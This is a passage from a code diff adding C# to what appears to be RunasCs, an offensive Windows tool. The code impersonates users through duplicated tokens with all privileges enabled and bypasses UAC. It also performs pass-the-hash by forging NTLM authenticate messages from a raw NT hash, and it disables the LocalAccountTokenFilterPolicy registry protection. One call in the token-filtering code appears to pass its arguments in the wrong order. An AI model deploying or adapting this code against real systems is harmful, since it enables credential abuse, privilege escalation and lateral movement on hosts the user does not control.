STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { + IntPtr hTokenDupImpersonation = IntPtr.Zero; + IntPtr lpEnvironment = IntPtr.Zero; + + if (hToken == IntPtr.Zero) + { + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + if (IsLimitedUserLogon(hToken, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + } + + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDupImpersonation)) + throw new RunasCsException("DuplicateTokenEx", true); + + if (AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)) + AccessToken.SetTokenIntegrityLevel(hTokenDupImpersonation, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); + // enable all privileges assigned to the token + AccessToken.EnableAllPrivileges(hTokenDupImpersonation); + CreateEnvironmentBlock(out lpEnvironment, hToken, false); + if (!CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcess", true); + IntPtr hTokenProcess = IntPtr.Zero; + if (!OpenProcessToken(processInfo.process, AccessToken.TOKEN_ALL_ACCESS, out hTokenProcess)) + throw new RunasCsException("OpenProcessToken", true); + AccessToken.SetTokenIntegrityLevel(hTokenProcess, AccessToken.GetTokenIntegrityLevel(hTokenDupImpersonation)); + // this will solve some permissions errors when attempting to get the current process handle while impersonating + SetSecurityInfo(processInfo.process, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + // this will solve some issues, e.g. Access Denied errors when running whoami.exe + SetSecurityInfo(hTokenProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + if (!SetThreadToken(ref processInfo.thread, hTokenDupImpersonation)) + throw new RunasCsException("SetThreadToken", true); + ResumeThread(processInfo.thread); + CloseHandle(hToken); + CloseHandle(hTokenDupImpersonation); + CloseHandle(hTokenProcess); + if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); + } + + private void RunasCreateProcessWithLogonW(string username, string domainName, string password, int logonType, uint logonFlags, string commandLine, bool bypassUac, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) { + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) + { + if (!CreateProcessWithLogonW(username, domainName, password, LOGON_NETCREDENTIALS_ONLY, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonW logon type 9", true); + } + else if (bypassUac) + { + int logonTypeBypassUac; + // the below logon types are not filtered by UAC, we allow login with them. Otherwise stick with NetworkCleartext + if (logonType == LOGON32_LOGON_NETWORK || logonType == LOGON32_LOGON_BATCH || logonType == LOGON32_LOGON_SERVICE || logonType == LOGON32_LOGON_NETWORK_CLEARTEXT) + logonTypeBypassUac = logonType; + else + { + // Console.Out.WriteLine("[*] Warning: UAC Bypass is not compatible with logon type '" + logonType.ToString() + "'. Reverting to the NetworkCleartext logon type '8'. To force a specific logon type, use the flag combination --bypass-uac and --logon-type."); + logonTypeBypassUac = LOGON32_LOGON_NETWORK_CLEARTEXT; + } + if (!CreateProcessWithLogonWUacBypass(logonTypeBypassUac, logonFlags, username, domainName, password, null, commandLine, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonWUacBypass", true); + } + else + { + IntPtr hTokenUacCheck = new IntPtr(0); + if (logonType != LOGON32_LOGON_INTERACTIVE) + Console.Out.WriteLine("[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '" + logonType.ToString() + "'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type."); + // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon + CheckAvailableUserLogonType(username, password, domainName, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT); + // we use the logon type 2 - Interactive because CreateProcessWithLogonW internally use this logon type for the logon + if (!LogonUser(username, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref hTokenUacCheck)) + throw new RunasCsException("LogonUser", true); + if (IsLimitedUserLogon(hTokenUacCheck, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: The logon for user '{0}' is limited. Use the flag combination --bypass-uac and --logon-type '{1}' to obtain a more privileged token.", username, logonTypeNotFiltered)); + CloseHandle(hTokenUacCheck); + if (!CreateProcessWithLogonW(username, domainName, password, logonFlags, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithLogonW logon type 2", true); + } + } + + private void RunasCreateProcessWithTokenW(string username, string domainName, string password, string commandLine, int logonType, uint logonFlags, int logonProvider, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { + IntPtr hTokenDuplicate = IntPtr.Zero; + bool checkLimitedLogon = true; + + if (hToken == IntPtr.Zero) { + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + } else { + checkLimitedLogon = false; + } + + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) + throw new RunasCsException("DuplicateTokenEx", true); + + if (checkLimitedLogon) { + if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + } + + // Enable SeImpersonatePrivilege on our current process needed by the seclogon to make the CreateProcessWithTokenW call + AccessToken.EnablePrivilege("SeImpersonatePrivilege", WindowsIdentity.GetCurrent().Token); + // Enable all privileges for the token of the new process + AccessToken.EnableAllPrivileges(hTokenDuplicate); + if (!CreateProcessWithTokenW(hTokenDuplicate, logonFlags, null, commandLine, CREATE_NO_WINDOW, IntPtr.Zero, null, ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessWithTokenW", true); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + } + + private void RunasCreateProcessAsUserW(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, bool forceUserProfileCreation, bool userProfileExists, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered, IntPtr hToken) { + IntPtr hTokenDuplicate = IntPtr.Zero; + IntPtr lpEnvironment = IntPtr.Zero; + bool checkLimitedLogon = true; + + if (hToken == IntPtr.Zero) + { + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken)) + throw new RunasCsException("LogonUser", true); + } + else + { + checkLimitedLogon = false; + } + + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate)) + throw new RunasCsException("DuplicateTokenEx", true); + + if (checkLimitedLogon) + { + if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered)) + Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered)); + } + + GetUserEnvironmentBlock(hTokenDuplicate, username, forceUserProfileCreation, userProfileExists, out lpEnvironment); + // Enable SeAssignPrimaryTokenPrivilege on our current process needed by the kernel to make the CreateProcessAsUserW call + AccessToken.EnablePrivilege("SeAssignPrimaryTokenPrivilege", WindowsIdentity.GetCurrent().Token); + // Enable all privileges for the token of the new process + AccessToken.EnableAllPrivileges(hTokenDuplicate); + //the inherit handle flag must be true otherwise the pipe handles won't be inherited and the output won't be retrieved + if (!CreateProcessAsUser(hTokenDuplicate, null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo)) + throw new RunasCsException("CreateProcessAsUser", true); + if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + } + + public RunasCs() + { + this.hOutputRead = new IntPtr(0); + this.hOutputWrite = new IntPtr(0); + this.hErrorWrite = new IntPtr(0); + this.socket = new IntPtr(0); + this.stationDaclObj = null; + this.hTokenPreviousImpersonatingThread = new IntPtr(0); + } + + public void CleanupHandles() + { + if(this.hOutputRead != IntPtr.Zero) CloseHandle(this.hOutputRead); + if(this.hOutputWrite != IntPtr.Zero) CloseHandle(this.hOutputWrite); + if(this.hErrorWrite != IntPtr.Zero) CloseHandle(this.hErrorWrite); + if(this.socket != IntPtr.Zero) closesocket(this.socket); + if(this.stationDaclObj != null) this.stationDaclObj.CleanupHandles(); + this.hOutputRead = IntPtr.Zero; + this.hOutputWrite = IntPtr.Zero; + this.hErrorWrite = IntPtr.Zero; + this.socket = IntPtr.Zero; + this.hTokenPreviousImpersonatingThread = IntPtr.Zero; + this.stationDaclObj = null; + } + + private byte[] ConvertNtHashToByteArray(string ntHash) + { + // Validate the NT hash (it should be an even length string of hexadecimal characters) + if (ntHash.Length != 32 || !System.Text.RegularExpressions.Regex.IsMatch(ntHash, @"^[0-9A-Fa-f]+$")) + { + throw new ArgumentException("Invalid NT hash format."); + } + + byte[] byteArray = new byte[ntHash.Length / 2]; + for (int i = 0; i < ntHash.Length; i += 2) + { + byteArray[i / 2] = Convert.ToByte(ntHash.Substring(i, 2), 16); + } + + return byteArray; + } + + public string RunAs(string username, string password, string cmd, string domainName, uint processTimeout, int logonType, int createProcessFunction, string[] remote, bool forceUserProfileCreation, bool bypassUac, bool remoteImpersonation, bool passTheHash, bool disableTokenFiltering) + /* + int createProcessFunction: + 0: CreateProcessAsUserW(); + 1: CreateProcessWithTokenW(); + 2: CreateProcessWithLogonW(); + */ + { + string commandLine = ParseCommonProcessesInCommandline(cmd); + int logonProvider = LOGON32_PROVIDER_DEFAULT; + int logonTypeNotFiltered = 0; + bool userProfileExists; + uint logonFlags = 0; + STARTUPINFO startupInfo = new STARTUPINFO(); + startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.lpReserved = null; + ProcessInformation processInfo = new ProcessInformation(); + // setup the std handles for the process based on the user input + RunasSetupStdHandlesForProcess(processTimeout, remote, ref startupInfo, out this.hOutputWrite, out this.hErrorWrite, out this.hOutputRead, out socket); + // add the proper DACL on the window station and desktop that will be used + this.stationDaclObj = new WindowStationDACL(); + string desktopName = this.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType); + startupInfo.lpDesktop = desktopName; + // setup proper logon provider for new credentials (9) logons + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) { + logonProvider = LOGON32_PROVIDER_WINNT50; + if (domainName == "") // fixing bugs in seclogon when using LOGON32_LOGON_NEW_CREDENTIALS... + domainName = "."; + } + + if (passTheHash) + { + // perform pass the hash + + // set the default as workgroup + // so this will work for any local user + if (domainName == "") + { + domainName = "WORKGROUP"; + } + + byte[] ntHash; + + // convert the password hash to a byte array + try + { + ntHash = ConvertNtHashToByteArray(password); + } + catch (ArgumentException e) + { + Console.WriteLine("[-] " + e.Message); + return ""; + } + + object oldFilterPolicy = null; + IntPtr hToken = IntPtr.Zero; + + RunasNtlmPth ntlmAuth = new RunasNtlmPth(); + + // disable token filtering in order to run an elevated process + if (disableTokenFiltering) + { + oldFilterPolicy = ntlmAuth.DisableTokenFiltering(); + } + + // get the token + try + { + hToken = ntlmAuth.RunasNtlm(username, domainName, ntHash); + } + catch (RunasCsException e) + { + Console.WriteLine(e.Message); + return ""; + } + + if (remoteImpersonation) + RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); + else if (createProcessFunction == 2) + throw new RunasCsException("The flag --function 2 is not compatible with --pth"); + else if (bypassUac) + throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction))); + else if (createProcessFunction == 0) + RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, false, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); + else if (createProcessFunction == 1) + RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, hToken); + + if (passTheHash && disableTokenFiltering) + { + // restore token filtering former policy + ntlmAuth.RestoreTokenFiltering(oldFilterPolicy); + } + + } else { + // we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon + CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider); + + // Use the proper CreateProcess* function + if (remoteImpersonation) + RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); + else { + userProfileExists = IsUserProfileCreated(username, password, domainName, logonType); + // we load the user profile only if it has been already created or the creation is forced from the flag --force-profile + if (userProfileExists || forceUserProfileCreation) + logonFlags = LOGON_WITH_PROFILE; + if (logonType != LOGON32_LOGON_NEW_CREDENTIALS && !forceUserProfileCreation && !userProfileExists) + Console.Out.WriteLine("[*] Warning: User profile directory for user " + username + " does not exists. Use --force-profile if you want to force the creation."); + if (createProcessFunction == 2) + RunasCreateProcessWithLogonW(username, domainName, password, logonType, logonFlags, commandLine, bypassUac, ref startupInfo, ref processInfo, ref logonTypeNotFiltered); + else { + if (bypassUac) + throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction))); + if (createProcessFunction == 0) + RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, userProfileExists, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); + else if (createProcessFunction == 1) + RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered, IntPtr.Zero); + } + } + } + + Console.Out.Flush(); // flushing console before waiting for child process execution + string output = ""; + if (processTimeout > 0) { + CloseHandle(this.hOutputWrite); + CloseHandle(this.hErrorWrite); + this.hOutputWrite = IntPtr.Zero; + this.hErrorWrite = IntPtr.Zero; + WaitForSingleObject(processInfo.process, processTimeout); + output += "\r\n" + ReadOutputFromPipe(this.hOutputRead); + } else { + int sessionId = System.Diagnostics.Process.GetCurrentProcess().SessionId; + if (remoteImpersonation) + output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function 'Remote Impersonation' \r\n"; + else + output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function " + GetProcessFunction(createProcessFunction) + "\r\n"; + output += "[+] Using Station\\Desktop: " + desktopName + "\r\n"; + output += "[+] Async process '" + commandLine + "' with pid " + processInfo.processId + " created in background.\r\n"; + } + CloseHandle(processInfo.process); + CloseHandle(processInfo.thread); + this.CleanupHandles(); + return output; + } +} + +public class RunasNtlmPth +{ + + [StructLayout(LayoutKind.Sequential)] + private struct SecHandle + { + public UIntPtr dwLower; + public UIntPtr dwUpper; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TimeStamp + { + public long QuadPart; + } + + private enum SecBufferType : uint + { + SECBUFFER_EMPTY = 0, + SECBUFFER_VERSION = 0, + SECBUFFER_TOKEN = 2, + } + + private enum SecurityStatus : uint + { + SEC_I_OK = 0, + SEC_E_INSUFFICIENT_MEMORY = 0x80090300, + SEC_E_INVALID_HANDLE = 0x80090301, + SEC_E_LOGON_DENIED = 0x8009030C, + SEC_I_CONTINUE_NEEDED = 0x0090312, + SEC_I_COMPLETE_NEEDED = 0x0090313, + SEC_I_COMPLETE_AND_CONTINUE = 0x0090314, + } + + [StructLayout(LayoutKind.Sequential)] + private struct SEC_WINNT_AUTH_IDENTITY_W + { + public string User; + public uint UserLength; + public string Domain; + public uint DomainLength; + public string Password; + public uint PasswordLength; + public uint Flags; + } + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + static extern SecurityStatus AcquireCredentialsHandle( + string pszPrincipal, + string pszPackage, + int fCredentialUse, + IntPtr PAuthenticationID, + ref SEC_WINNT_AUTH_IDENTITY_W pAuthData, + int pGetKeyFn, + IntPtr pvGetKeyArgument, + ref SecHandle phCredential, + IntPtr ptsExpiry + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + static extern SecurityStatus InitializeSecurityContext( + ref SecHandle phCredential, + IntPtr phContext, + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, + int Reserved2, + out SecHandle phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + IntPtr ptsExpiry + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + static extern SecurityStatus InitializeSecurityContext( + ref SecHandle phCredential, + ref SecHandle phContext, + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + ref SecBufferDesc SecBufferDesc, + int Reserved2, + out SecHandle phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + IntPtr ptsExpiry + ); + + [DllImport("secur32.dll")] + static extern SecurityStatus AcceptSecurityContext( + ref SecHandle phCredential, + IntPtr phContext, + ref SecBufferDesc pInput, + uint fContextReq, + uint TargetDataRep, + out SecHandle phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + IntPtr ptsTimeStamp + ); + + [DllImport("secur32.dll")] + static extern SecurityStatus AcceptSecurityContext( + ref SecHandle phCredential, + ref SecHandle phContext, + ref SecBufferDesc pInput, + uint fContextReq, + uint TargetDataRep, + out SecHandle phNewContext, + IntPtr pOutput, + out uint pfContextAttr, + IntPtr ptsTimeStamp + ); + + [DllImport("secur32.dll")] + static extern SecurityStatus QuerySecurityContextToken( + ref SecHandle phContext, + out IntPtr Token + ); + + // took from InternalMonologue.cs + // https://github.com/eladshamir/Internal-Monologue + // credits goes to Elad Shamir for this code + const int MAX_TOKEN_SIZE = 12288; + struct SecBuffer : IDisposable + { + public int cbBuffer; + public int BufferType; + public IntPtr pvBuffer; + + public SecBuffer(int bufferSize) + { + cbBuffer = bufferSize; + BufferType = 2; + pvBuffer = Marshal.AllocHGlobal(bufferSize); + } + + public SecBuffer(byte[] secBufferBytes) + { + cbBuffer = secBufferBytes.Length; + BufferType = 2; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public SecBuffer(byte[] secBufferBytes, int bufferType) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)bufferType; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public void Dispose() + { + if (pvBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(pvBuffer); + pvBuffer = IntPtr.Zero; + } + } + } + + struct SecBufferDesc : IDisposable + { + public int ulVersion; + public int cBuffers; + public IntPtr pBuffers; + + public SecBufferDesc(int bufferSize) + { + ulVersion = 0; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(byte[] secBufferBytes) + { + ulVersion = 0; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public void Dispose() + { + if (pBuffers != IntPtr.Zero) + { + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + ThisSecBuffer.Dispose(); + } + else + { + for (int Index = 0; Index < cBuffers; Index++) + { + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.FreeHGlobal(SecBufferpvBuffer); + } + } + + Marshal.FreeHGlobal(pBuffers); + pBuffers = IntPtr.Zero; + } + } + + public byte[] GetSecBufferByteArray() + { + byte[] Buffer = null; + + if (pBuffers == IntPtr.Zero) + { + throw new InvalidOperationException("Object has already been disposed!!!"); + } + + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + + if (ThisSecBuffer.cbBuffer > 0) + { + Buffer = new byte[ThisSecBuffer.cbBuffer]; + Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); + } + } + else + { + int BytesToAllocate = 0; + + for (int Index = 0; Index < cBuffers; Index++) + { + //calculate the total number of bytes we need to copy... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); + } + + Buffer = new byte[BytesToAllocate]; + + for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) + { + //Now iterate over the individual buffers and put them together into a byte array... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); + BufferIndex += BytesToCopy; + } + } + + return (Buffer); + } + } + + // also took from Elad Shamir Internal Monologue project + private object GetRegKey(string key, string name) + { + object value = null; + + RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key); + if (Lsa != null) + { + value = Lsa.GetValue(name); + } + + return value; + } + + // also took from Elad Shamir Internal Monologue project + private void SetRegKey(string key, string name, object value) + { + RegistryKey Lsa = Registry.LocalMachine.OpenSubKey(key, true); + if (Lsa != null) + { + if (value == null) + { + Lsa.DeleteValue(name); + } + else + { + Lsa.SetValue(name, value); + } + } + } + + public byte[] GetMd5Hmac(byte[] key, object data) + { + using (HMACMD5 algo = new HMACMD5(key)) + { + byte[] dataBytes; + if (data is string) + { + dataBytes = Encoding.Unicode.GetBytes((string)data); + } + else if (data is byte[]) + { + dataBytes = (byte[])data; + } + else + { + throw new ArgumentException("Data must be a string or a byte array."); + } + + return algo.ComputeHash(dataBytes); + } + } + + private const string regKey = @"Software\Microsoft\Windows\CurrentVersion\Policies\System"; + private const string regValue = "LocalAccountTokenFilterPolicy"; + + public object DisableTokenFiltering() + { + // get the value + object OldfilterPolicy = GetRegKey(@"", regKey); + + // change the value + SetRegKey(regKey, regValue, 1); + + return OldfilterPolicy; + } + + public void RestoreTokenFiltering(object value) + { + SetRegKey(regKey, regValue, value); + } + + public IntPtr RunasNtlm(string username, string domain, byte[] passwordHash) + { + // initialize tokens + SecBufferDesc negotiateToken = new SecBufferDesc(MAX_TOKEN_SIZE); + SecBufferDesc challengeToken = new SecBufferDesc(MAX_TOKEN_SIZE); + SecBufferDesc authenticateToken = new SecBufferDesc(MAX_TOKEN_SIZE); + + SecHandle creds = new SecHandle(); + SecHandle clientCtx; + SecHandle serverCtx; + IntPtr accessToken; + uint flags = 0; + + SEC_WINNT_AUTH_IDENTITY_W identity = new SEC_WINNT_AUTH_IDENTITY_W(); + identity.Domain = domain; + identity.DomainLength = (uint)domain.Length; + identity.User = username; + identity.UserLength = (uint)username.Length; + identity.Flags = 1; + + SecurityStatus ss = AcquireCredentialsHandle( + null, + "NTLM", + 0x03, + IntPtr.Zero, + ref identity, + 0, + IntPtr.Zero, + ref creds, + IntPtr.Zero + ); + + if (ss != SecurityStatus.SEC_I_OK) + { + throw new RunasCsException("AcquireCredentialHandle failed with error: " + ss); + } + + // get the negotiate token + ss = InitializeSecurityContext( + ref creds, + IntPtr.Zero, + null, + 0x00000800, + 0, + 0x10, + IntPtr.Zero, + 0, + out clientCtx, + out negotiateToken, + out flags, + IntPtr.Zero + ); + + if (ss != SecurityStatus.SEC_I_CONTINUE_NEEDED) + { + throw new RunasCsException("InitializeSecurityContext failed with error: " + ss); + } + + // get the challenge token + ss = AcceptSecurityContext( + ref creds, + IntPtr.Zero, + ref negotiateToken, + 0x00000800, + 0x10, + out serverCtx, + out challengeToken, + out flags, + IntPtr.Zero + ); + + if (ss != SecurityStatus.SEC_I_CONTINUE_NEEDED) + { + throw new RunasCsException("AcceptSecurityContext failed with error: " + ss); + } + + // get the authenticate token + ss = InitializeSecurityContext( + ref creds, + ref clientCtx, + null, + 0x00000800, + 0, + 0x10, + ref challengeToken, + 0, + out clientCtx, + out authenticateToken, + out flags, + IntPtr.Zero + ); + + if (ss != SecurityStatus.SEC_I_OK) + { + throw new RunasCsException("InitializedSecurityContext failed with error: " + ss); + } + + // negotiate token to bytes + SecBuffer secNegotiateToken = new SecBuffer(); + Marshal.PtrToStructure(negotiateToken.pBuffers, secNegotiateToken); + byte[] pNegotiateToken = new byte[secNegotiateToken.cbBuffer]; + Marshal.Copy(secNegotiateToken.pvBuffer, pNegotiateToken, 0, secNegotiateToken.cbBuffer); + + // challenge token to bytes + SecBuffer secChallengeToken = new SecBuffer(); + Marshal.PtrToStructure(challengeToken.pBuffers, secChallengeToken); + byte[] pChallengeToken = new byte[secChallengeToken.cbBuffer]; + Marshal.Copy(secChallengeToken.pvBuffer, pChallengeToken, 0, secChallengeToken.cbBuffer); + + // authenticate token to bytes + SecBuffer secAuthenticateToken = new SecBuffer(); + Marshal.PtrToStructure(authenticateToken.pBuffers, secAuthenticateToken); + byte[] pAuthenticateToken = new byte[secAuthenticateToken.cbBuffer]; + Marshal.Copy(secAuthenticateToken.pvBuffer, pAuthenticateToken, 0, secAuthenticateToken.cbBuffer); + + // calculate Nt0wfv2 + byte[] ntOwfv2 = GetMd5Hmac(passwordHash, username.ToUpper() + domain); + + // the steps below are used to calculate NtProofStr (challenge response) + // get the server challenge + byte[] serverChallenge = new byte[8]; + Array.Copy(pChallengeToken, 24, serverChallenge, 0, 8); + + // get the nt challenge response field + int sizeChallengeResponse = BitConverter.ToInt16(pAuthenticateToken, 20) - 16; + int offsetChallengeResponse = BitConverter.ToInt32(pAuthenticateToken, 24); + byte[] ntChallengeResponse = new byte[sizeChallengeResponse]; + Array.Copy(pAuthenticateToken, offsetChallengeResponse + 16, ntChallengeResponse, 0, sizeChallengeResponse); + + // concatenate the two fields + byte[] combinedData = new byte[sizeChallengeResponse + 8]; + Array.Copy(serverChallenge, 0, combinedData, 0, serverChallenge.Length); + Array.Copy(ntChallengeResponse, 0, combinedData, 8, ntChallengeResponse.Length); + + // make the calculation + byte[] ntProofStr = GetMd5Hmac(ntOwfv2, combinedData); + + // replace the challenge response + Array.Copy(ntProofStr, 0, pAuthenticateToken, offsetChallengeResponse, 16); + + // the steps below are used to calculate the MIC + // reset the mic + Array.Clear(pAuthenticateToken, 72, 16); + + // calculate the session key + byte[] session_key = GetMd5Hmac(ntOwfv2, ntProofStr); + + // concatenate the 3 tokens + combinedData = new byte[pNegotiateToken.Length + pChallengeToken.Length + pAuthenticateToken.Length]; + Array.Copy(pNegotiateToken, 0, combinedData, 0, pNegotiateToken.Length); + Array.Copy(pChallengeToken, 0, combinedData, pNegotiateToken.Length, pChallengeToken.Length); + Array.Copy(pAuthenticateToken, 0, combinedData, pNegotiateToken.Length + pChallengeToken.Length, pAuthenticateToken.Length); + + // calculate the mic + byte[] mic = GetMd5Hmac(session_key, combinedData); + + // replace the mic + Array.Copy(mic, 0, pAuthenticateToken, 72, 16); + + // write the new patched token + secAuthenticateToken.pvBuffer = Marshal.AllocHGlobal(pAuthenticateToken.Length); + Marshal.Copy(pAuthenticateToken, 0, secAuthenticateToken.pvBuffer, pAuthenticateToken.Length); + authenticateToken.pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secAuthenticateToken)); + Marshal.StructureToPtr(secAuthenticateToken, authenticateToken.pBuffers, false); + + // make the server validate the authenticate token + ss = AcceptSecurityContext( + ref creds, + ref serverCtx, + ref authenticateToken, + 0x00000800, + 0x10, + out serverCtx, + IntPtr.Zero, + out flags, + IntPtr.Zero + ); + + if (ss != SecurityStatus.SEC_I_OK) + { + throw new RunasCsException("AcceptSecurityContext failed with error: " + ss); + } + + // get an access token + ss = QuerySecurityContextToken( + ref serverCtx, + out accessToken + ); + + if (ss != SecurityStatus.SEC_I_OK) + { + throw new RunasCsException("QuerySecurityContextToken failed with error: " + ss); + } + + return accessToken; + } +} + +public class WindowStationDACL{ + + private const int UOI_NAME = 2; + private const int 